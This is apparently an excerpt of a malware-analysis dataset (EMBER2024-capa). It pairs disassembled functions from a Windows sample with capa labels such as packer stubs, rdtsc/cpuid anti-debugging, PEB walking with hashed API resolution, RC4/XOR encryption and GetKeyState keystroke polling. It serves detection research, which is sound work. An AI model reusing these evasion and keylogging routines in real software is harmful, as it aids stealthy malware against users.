joyce8/EMBER2024-capa huggingface dataset:
Function at 0x801eb5
Capabilities:
Packed with generic packer

Disassembly:
call fcn.00802478
pushal
mov edx, dword [esp]
mov al, byte [esp]
popal
pushal
mov dword [esp + 1], ebp
jmp 0x801f7d
mov dword [esp + 0x13], esi
mov word [esp + 0xe], dx
mov word [esp + 0x12], dx
mov dword [esp + 0x17], esi
mov byte [esp + 6], ah
mov word [esp + 0xc], sp
jmp fcn.00801f5f

Function at 0x801f1f
Capabilities:
Packed with generic packer

Disassembly:
dec esp
sub esp, esi
imul esi, dword [esi - 0x70991f5f]
pop word [esp]
and al, 0x40
push edx
push dword [esp + 2]
mov word [esp + 4], bx
jmp 0x801f40
lea esp, [esp + 8]
push esp
pop word [esp]
call fcn.0080213b
xchg esp, eax
sbb eax, 0x8227d48d
out 0x6e, al
cld
wait
jbe 0x801efc
inc esi
jno 0x801fce
jae 0x801ee9
dec esp
and al, 9
lea esp, [esp + 0x20]
jmp fcn.0041bcc0
call fcn.00801fb5
jns 0x801fd0
invalid
imul ecx, dword [esi], 0xfffffffd
adc byte [ecx - 0x24], dl
jb 0x801ff2
in al, 7
mov ecx, 0x2bd8b929
retf
lea eax, [edi*4]
lea eax, [edx + edx]
setge al
lea eax, [ebp + 0x87]
mov al, 0xe0
bswap eax
jmp 0x802053
mov al, 0x70
mov ax, word [esp]
lea eax, [ecx + 0x1c1d7e6b]
mov eax, 0x516f1c54
mov ax, word [esp]
jmp 0x8020ed
mov ax, word [esp]
pop eax
jmp fcn.00421290

Function at 0x802478
Capabilities:
Packed with generic packer

Disassembly:
mov word [esp], di
lea esp, [esp + 4]
jmp 0x801eba

Function at 0x803ba8
Capabilities:
Packed with generic packer

Disassembly:
lea esp, [esp + 8]
call fcn.00803b90

Function at 0x8086fe
Capabilities:
Packed with generic packer

Disassembly:
push esp
lea esp, [esp + 4]
pushal
not ebp
popal
call fcn.008086e6
cmp al, 0xb4
sub cl, byte [ebp - 0x44]
push 0x5031a12a
mov dword [0x8da3604e], eax
and al, 0x38
jmp fcn.0042f8c0

Function at 0x81e450
Capabilities:
Packed with generic packer

Disassembly:
mov byte [esp + 3], ah
pop dword [esp]
mov di, 0xd895
pop edi
jmp 0x81e4b1
mov edi, dword [esp]
lea edi, [ecx + edi]
push esp
push dword [esp]
mov byte [esp + 1], ah
jmp 0x81e498
pop word [esp + 1]
not di
mov byte [esp], ch
lea esp, [esp + 2]
mov edi, dword [esp + 0x22]
jmp 0x81e4fc
mov di, ax
mov ah, byte [esp + 1]
mov word [esp], bx
xchg word [esp], ax
lea esp, [esp + 2]
mov eax, dword [esp + 0x18]
jmp 0x81e45e
lea esp, [esp + 0x38]
pushal
mov al, 0x86
popal
call fcn.0081e4e3

Function at 0x81e491
Capabilities:
Packed with generic packer

Disassembly:
lea edi, [ebp*4]
push word [esp + 1]
call fcn.0081e450
test eax, 0x39caaf3f
loopne 0x81e420
or eax, 0x8b66ef9c
inc esp
and al, 2
mov ax, word [esp + 2]
jmp 0x81e476

Function at 0x81e599
Capabilities:
Packed with generic packer

Disassembly:
lea esp, [esp + 1]
lea esp, [esp + 1]
call fcn.0081e538
pop word [esp]
jmp 0x81e556

Function at 0x81fa9f
Capabilities:
Packed with generic packer

Disassembly:
pushal
lea ecx, [eax*4]
popal
call 0x81fa80

Function at 0x81fd5c
Capabilities:
Packed with generic packer

Disassembly:
lea esp, [esp + 0x20]
popal
call fcn.0081fd82
pushal
pushal
pop cx
push dword [esp + 0x16]
mov bl, 0xf0
lea esp, [esp + 2]
jmp 0x81fd23
push dword [esp]
push word [esp + 1]
mov word [esp + 2], dx
lea esp, [esp + 2]
lea esp, [esp + 8]
jmp 0x81fd43
Function at 0x822ced
Capabilities:
Packed with generic packer

Disassembly:
pushal
not esi
lea edi, [edi + ebp]
jmp 0x822d54
pushal
push dword [esp + 0x1a]
mov word [esp + 0xc], bx
call fcn.00822fbf
lea esp, [esp + 8]
jmp fcn.0045ea24
popal
push esp
push dword [esp]
push word [esp + 5]
pop word [esp + 5]
mov byte [esp + 1], ah
jmp 0x822d2f

Function at 0x822e35
Capabilities:
Packed with generic packer

Disassembly:
push dword [esp]
mov dword [esp + 3], eax
lea esp, [esp + 8]
call fcn.00822dd9

Function at 0x822e45
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov si, 0xe725
jmp 0x822e51
lea ebx, [eax*4]
lea esi, [edx + ebp]
popal
call fcn.00822f44
mul byte [si + 3]
dec byte [edi]
mov ds, word [bx + di]
pushal
mov word [esp + 0xa], di
mov dword [esp + 5], ebp
lea esp, [esp + 0x20]
jmp fcn.0045f8a0

Function at 0x82622e
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ax, 0xa4ab
mov dx, bp
mov si, ax
mov byte [esp + 0xb], dh
mov ah, byte [esp + 1]
mov esi, dword [esp + 0x20]
jmp 0x826260
mov ax, dx
mov dh, 0x78
rdtsc
pushal
pop dword [esp + 0xc]
mov byte [esp + 0x11], dh
jmp 0x8261f0
mov word [esp], di
mov word [esp], sp
mov si, word [esp]
jmp 0x826216
mov dh, byte [esp]
xchg edx, eax
lea eax, [esi - 0xfd]
mov ax, word [esp]
rdtsc
mov edx, dword [esp]
jmp 0x8262a6
mov dh, byte [esp]
lea eax, [ebx + edi]
mov ax, word [esp]
mov al, byte [esp]
mov dx, 0xaa93
rdtsc
jmp 0x82623c
xchg dh, dl
mov edx, dword [esp + 0x28]
lea esp, [esp + 0x2c]
pushal
lea esp, [esp + 0x11]
jmp 0x8262eb
mov dx, word [esp]
mov dh, ch
xchg dh, dl
mov dh, byte [esp]
lea edx, [eax*4]
jmp 0x826275
xchg dx, ax
bswap eax
mov eax, dword [esp + 0x24]
mov dh, bh
mov dx, 0xab4f
mov edx, 0xf9c5ec4
jmp 0x82628e
mov word [esp + 3], sp
mov word [esp + 0xb], sp
pushal
pop dword [esp + 6]
push dword [esp + 0x24]
lea esp, [esp + 3]
jmp 0x8262d2

Function at 0x826ebd
Capabilities:
Packed with generic packer

Disassembly:
pop dword [esp + 4]
mov word [esp + 8], bx
pop dword [esp]
pop dword [esp]
lea esp, [esp + 2]
lea esp, [esp + 4]
jmp fcn.0045a444
popal
push edx
push edx
push dword [esp + 4]
push word [esp + 9]
push dword [esp + 6]
jmp 0x826d81
pushal
xchg ah, bl
lea ebx, [ebx + ebp]
pushal
bswap ecx
lea esp, [esp + 0x20]
jmp 0x826daa
lea esp, [esp + 2]
lea esp, [esp + 4]
jmp 0x826df7

Function at 0x8274a9
Capabilities:
Packed with generic packer

Disassembly:
pop word [esp]
call fcn.00827421

Function at 0x82b3e1
Capabilities:
Packed with generic packer

Disassembly:
pushal
jmp 0x82b3e8
mov word [esp + 0xa], bx
pop word [esp + 0x19]
lea esp, [esp + 2]
lea esp, [esp + 0x1c]
call fcn.0082b43f
jae 0x82b46b
test dword [edi], esi
dec esi
aad 0x45
sub al, 0xdf
cmp al, 0xc7
inc esi
aam 0xb3
dec esi
lodsb al, byte [esi]
ja 0x82b4d6
add byte [eax], al

Function at 0x832f99
Capabilities:
Packed with generic packer

Disassembly:
popal
pushal
push dword [esp + 8]
mov word [esp + 0x1c], sp
pop dword [esp + 8]
mov word [esp + 6], bx
jmp 0x832fdc
pushal
mov cx, sp
jmp 0x832f77
lea esp, [esp + 0x20]
call fcn.00832fb5
Function at 0x8354ec
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov dl, byte [esp]
mov esi, ecx
popal
pushal
jmp 0x835548
mov byte [esp + 0xd], ah
mov byte [esp + 5], dh
mov dword [esp + 0xb], eax
call fcn.00835528
pop ss
xchg esp, eax
or ch, byte [ebp - 0x64]
jp fcn.008354e1

Function at 0x835ae6
Capabilities:
Packed with generic packer

Disassembly:
pushal
not ebx
jmp 0x835aef
mov al, byte [esp]
popal
pushal
push dword [esp + 0x1c]
mov word [esp + 0x12], di
Function at 0x84e0af
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap edx
setg ch
xchg byte [esp + 0x36], dl
btr edx, edx
mov edx, ebp
rdtsc
jmp 0x84e070
mov si, 0xccd5
jmp 0x84e097

Function at 0x84f0b1
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edi, dword [esp + 3]
pop bx
lea esp, [esp + 0xf]
xchg bp, ax
mov byte [esp + 3], ch
mov ebp, dword [esp + 2]
jmp 0x84f039
mov cl, 0x2a
lea esp, [esp + 0xb]
sub esp, 0x16
push edx
mov edx, esi
mov ax, word [esp + 0xa]
jmp 0x84eff0
neg dx
xchg edi, ecx
bsf si, ax
mov di, 0x4f25
mov byte [esp + 3], dh
add esp, 3
jmp 0x84f067
add ax, 0xd63e
add esp, 0x13
mov dl, dh
mov si, dx
neg ch
rdtsc
jmp 0x84f01d
mov dl, dh
xchg word [esp + 1], bp
not esi
lea esi, [ebx + ebx]
pushal
bswap ebp
jmp 0x84f11d
xchg byte [esp], cl
mov word [esp], di
mov cl, 0xa2
neg dh
mov cx, dx
lea esp, [esp + 1]
jmp 0x84f04b
rdtsc
mov byte [esp + 3], ah
sub esp, 8
pop dx
btr edi, esp
cpuid
jmp 0x84f00a
pop si
rdtsc
rdtsc
neg edx
jmp 0x84f088
mov di, dx
mov bx, word [esp + 0x10]
mov ax, bx
neg bh
lea eax, [ebp - 0xcf]
call fcn.0084f0d8
inc eax
fisttp dword [ebx + 0x2e]
fnsave dword [edx - 0x5a]
cmp al, 0xd2
mov ch, 0x44
cli
mov dword [eax], ebp
dec ebx
loop 0x84f17e
pushal
lea esp, [esp + 0x44]
stc
cld
mov eax, esi
pushal
jmp 0x84f0f5
Function at 0x84f19a
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edi, [ebp*4]
bswap esi
btr ecx, esp
mov esi, dword [esp + 0x11]
lea eax, [esp + eax]
jmp 0x84f5bf
xchg edi, ebp
cpuid
mov ax, di
add al, dh
sub esp, 0x1a
lea esi, [ebp - 0x77]
jmp 0x84f28b
mov ecx, 0xa7d9f642
mov bp, di
mov bl, bh
mov bp, sp
sub esp, 0
mov ebx, ebp
jmp 0x84f20f
rdtsc
cpuid
lea edx, [edi*4]
bswap ecx
mov eax, dword [esp]
mov edi, dword [esp]
jmp 0x84f229
pushal
push esp
lea esp, [esp + 0x44]
push esp
pop word [esp]
sub esp, 0x18
jmp 0x84f29d
inc si
xchg dx, di
push edx
not di
pop ax
not ch
jmp 0x84f258
xchg bx, ax
xchg si, bp
xchg bh, cl
xchg dword [esp + 4], ebx
push edx
xchg byte [esp + 5], cl
jmp 0x84f26e
rdtsc
pop ecx
mov dx, word [esp + 8]
mov ah, byte [esp + 0x15]
push dword [esp + 4]
jmp 0x84f577
xchg dword [esp + 0x13], eax
push edx
lea esp, [esp + 0x41]
mov ebx, ecx
clc
lea esi, [eax - 0x56a7dbcf]
jmp 0x84f243
xchg byte [esp], cl
lea esp, [esp]
mov bh, byte [esp]
setns dh
lea ecx, [eax*4]
clc
jmp 0x84f383
lea ebx, [ecx + edx]
rdtsc
add esp, 0
mov cl, ch
mov al, 0xc6
add esp, 0
jmp 0x84f2cb
xchg dword [esp + 8], ebp
call 0x84f323
inc di
xchg ah, bl
btc eax, edi
mov edx, eax
pushal
xchg ecx, eax
jmp 0x84f3db
add esp, 0
sub esp, 0x16
call fcn.0084f3b7
cmp dh, byte [ecx + 0x5eb34021]
xor byte [ebx], dh
sub al, byte [ebp - 0xc]
neg bp
xchg byte [esp + 0xa], bl
xchg ah, bl
xchg byte [esp + 0x1c], cl
lea ebp, [eax - 0x81]
jmp 0x84f33a
lea esi, [eax - 0x11]
bsr bp, bp
xchg byte [esp], dl
mov si, 0xde1
pushal
lea ebx, [ebp - 0x6c5d6ce9]
jmp 0x84f36a
xchg dh, al
lea esp, [esp]
add esp, 0
bsf bp, ax
add esp, 0
mov cx, 0xd087
jmp 0x84f2f6
bsf di, ax
not dh
add esp, 0x1f
neg bx
mov edi, esi
mov edi, 0x3de1e60e
jmp 0x84f354
lea esp, [esp]
rcr ah, 1
bsr di, cx
mov dh, byte [esp]
mov bl, 0xf8
mov ch, byte [esp]
jmp 0x84f39f
mov byte [esp], ah
setnp ah
add esp, 0
lea edi, [ebx + edi]
mov byte [esp], bh
setnp ch
jmp 0x84f4c1
mov ebp, 0xbc99aa6c
add esp, 0x19
xchg dh, al
mov bl, bh
rdtsc
xchg bp, ax
jmp 0x84f524
push edx
xchg dword [esp + 0xf], esi
push dword [esp + 0x18]
lea ebx, [ecx - 0x93]
lea esi, [edx*4]
mov byte [esp + 0x13], ah
jmp 0x84f2b4

Function at 0x84fb56
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
lea esp, [esp + 2]
mov dword [esp + 0x98], edi
lea esp, [esp + 0x98]

Function at 0x431d19
Capabilities:
Encode data using xor

Disassembly:
push 1
pop ecx
cmp dword [esp + 8], ecx
jl 0x431d39
mov eax, dword [esp + 4]
mov edx, ecx
and edx, 3
mov dl, byte [esp + edx + 0xc]
xor byte [eax], dl
inc ecx
inc eax
cmp ecx, dword [esp + 8]
jle 0x431d26
ret
Function at 0x414c9a
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x414cbb
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x414cb2
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x414caa
mov eax, ebx
leave
ret

Function at 0x414ce1
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x414d40
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x414d6d
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x414d5c
xor ecx, eax
xor edx, ebx
dec edi
jne 0x414d4d
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x414d93
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x414d34
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x4155d3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword ds:[ebp - 0x20], 0xff8bff8b
mov dword ds:[ebp - 0x14], 0xff8bff8b
mov dword ds:[ebp - 0x1c], 0xff8bff8b
push 0x7fc
push dword [ebp - 0x20]
call fcn.00414c60
push eax
push dword [ebp - 0x20]
lea eax, [ebp - 4]
mov ebx, eax
pop ecx
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x4157b2
push dword [ebp - 4]
call fcn.00414c44
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4156a3
jmp 0x4157b2
push dword [ebp - 4]
call fcn.00414c44
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp dword [ebp - 4], eax
jne 0x4156f7
lea eax, [ebp - 4]
push eax
call fcn.004155b9
mov dword [ebp - 0x28], eax
push 0
push 4
push dword [ebp - 0x28]
push dword [ebp - 4]
push 0xffffffff
push dword [ebp - 0x14]
call fcn.00414e6b
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4156f7
mov eax, 1
jmp 0x4156f9
xor eax, eax
test eax, eax
je 0x4157a7
push ebx
push esi
push edx
mov ebx, dword [ebp + 8]
lea eax, [ebx + 0x3c]
mov eax, dword [eax]
add eax, ebx
lea eax, [eax + 0x78]
mov eax, dword [eax]
lea esi, [eax + ebx]
mov dword [ebp - 0x10], esi
lea edx, [esi + 0x20]
mov edx, dword [edx]
add edx, ebx
mov edx, dword [edx]
add edx, ebx
mov dword [ebp - 0x18], edx
lea eax, [esi + 0x18]
mov eax, dword [eax]
dec eax
mov dword [ebp - 4], eax
pop ebx
pop esi
pop edx
push dword [ebp - 4]
lea eax, [ebp - 4]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x41579f
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [ebp - 0x1c]
call fcn.004153d6
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x41578e
push edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
lea eax, [eax + 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 8]
lea eax, [eax + edi*4]
mov eax, dword [eax]
add eax, dword [ebp + 8]
pop edi
leave
ret 8
push dword [ebp - 0xc]
call fcn.00415592
add dword [ebp - 8], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x415741
add esp, 0xc
jmp 0x4157b2
pop ebx
pop ecx
pop edx
add ecx, 4
jmp 0x41567c
add esp, 0xc
mov edi, edi
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0
jmp 0x4157d3
mov esp, ebp
pop ebp
ret 8
Function at 0x446e30
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4bbf0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004affed
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x446eb2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004ad7e0
mov eax, dword [eax]
push 0x515224
push eax
call fcn.0049f9b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b0278
test bl, bl
je 0x446eb2
push 0x515224
lea ecx, [esp + 0xc]
call fcn.004b0608
push 0x518da4
lea ecx, [esp + 0xc]
call fcn.004b0608
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x446eee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b0278
jmp 0x446fb9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x446f72
lea edx, [esp + 0x7c]
push 0x518da0
push edx
call fcn.0049f9b4
add esp, 8
test eax, eax
je 0x446f72
lea eax, [esp + 0x7c]
push 0x518d9c
push eax
call fcn.0049f9b4
add esp, 8
test eax, eax
je 0x446f72
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x446f02
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b0278
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4477b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x447812
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x447820
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4bbf8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x522124]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x447958
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x447886
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b0278
xor eax, eax
jmp 0x4479cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004b03b5
push esi
lea ecx, [esp + 0xc]
call fcn.004b0644
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x518ddc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4479ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.004477b0
test eax, eax
jne 0x4479ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004477b0
test eax, eax
jne 0x4479ad
lea eax, [esp + 0x14]
push 0x518db8
push eax
call fcn.004a0b50
mov esi, eax
add esp, 8
test esi, esi
jne 0x44798c
lea ecx, [esp + 0x14]
push 0x518db4
push ecx
call fcn.004a0ad0
mov esi, eax
add esp, 8
test esi, esi
jne 0x44798c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x44798f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004b0365
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x44789e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b0278
xor eax, eax
jmp 0x4479cf
mov byte [esi], 0
push 0x518db0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004b0278
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x45d2c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x45d32e
cmp si, 0x69
ja 0x45d32e
add esi, 0xffd0
cmp si, 0x11
je 0x45d2fe
push 0x11
call edi
test ax, ax
jge 0x45d2fe
or esi, 0x2000
cmp si, 0x10
je 0x45d313
push 0x10
call edi
test ax, ax
jge 0x45d313
or esi, 0x4000
cmp si, 0x12
je 0x45d328
push 0x12
call edi
test ax, ax
jge 0x45d328
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x45d33b
mov esi, 0xbd
jmp 0x45d2ef
cmp si, 0x6e
jne 0x45d348
mov esi, 0xbe
jmp 0x45d2ef
cmp si, 0x6f
jne 0x45d2e9
mov esi, 0xbf
jmp 0x45d2ef

Function at 0x45ea70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x532a08]
xor edx, edx
cmp eax, edx
jne 0x45ea96
xor eax, eax
mov byte [eax + 0x532908], al
inc eax
cmp eax, 0x100
jl 0x45ea7e
mov dword [0x532a08], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x532908
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x45eb27
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x45eafa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x45eac8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x45eba0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x45ebf3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x45ebda
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret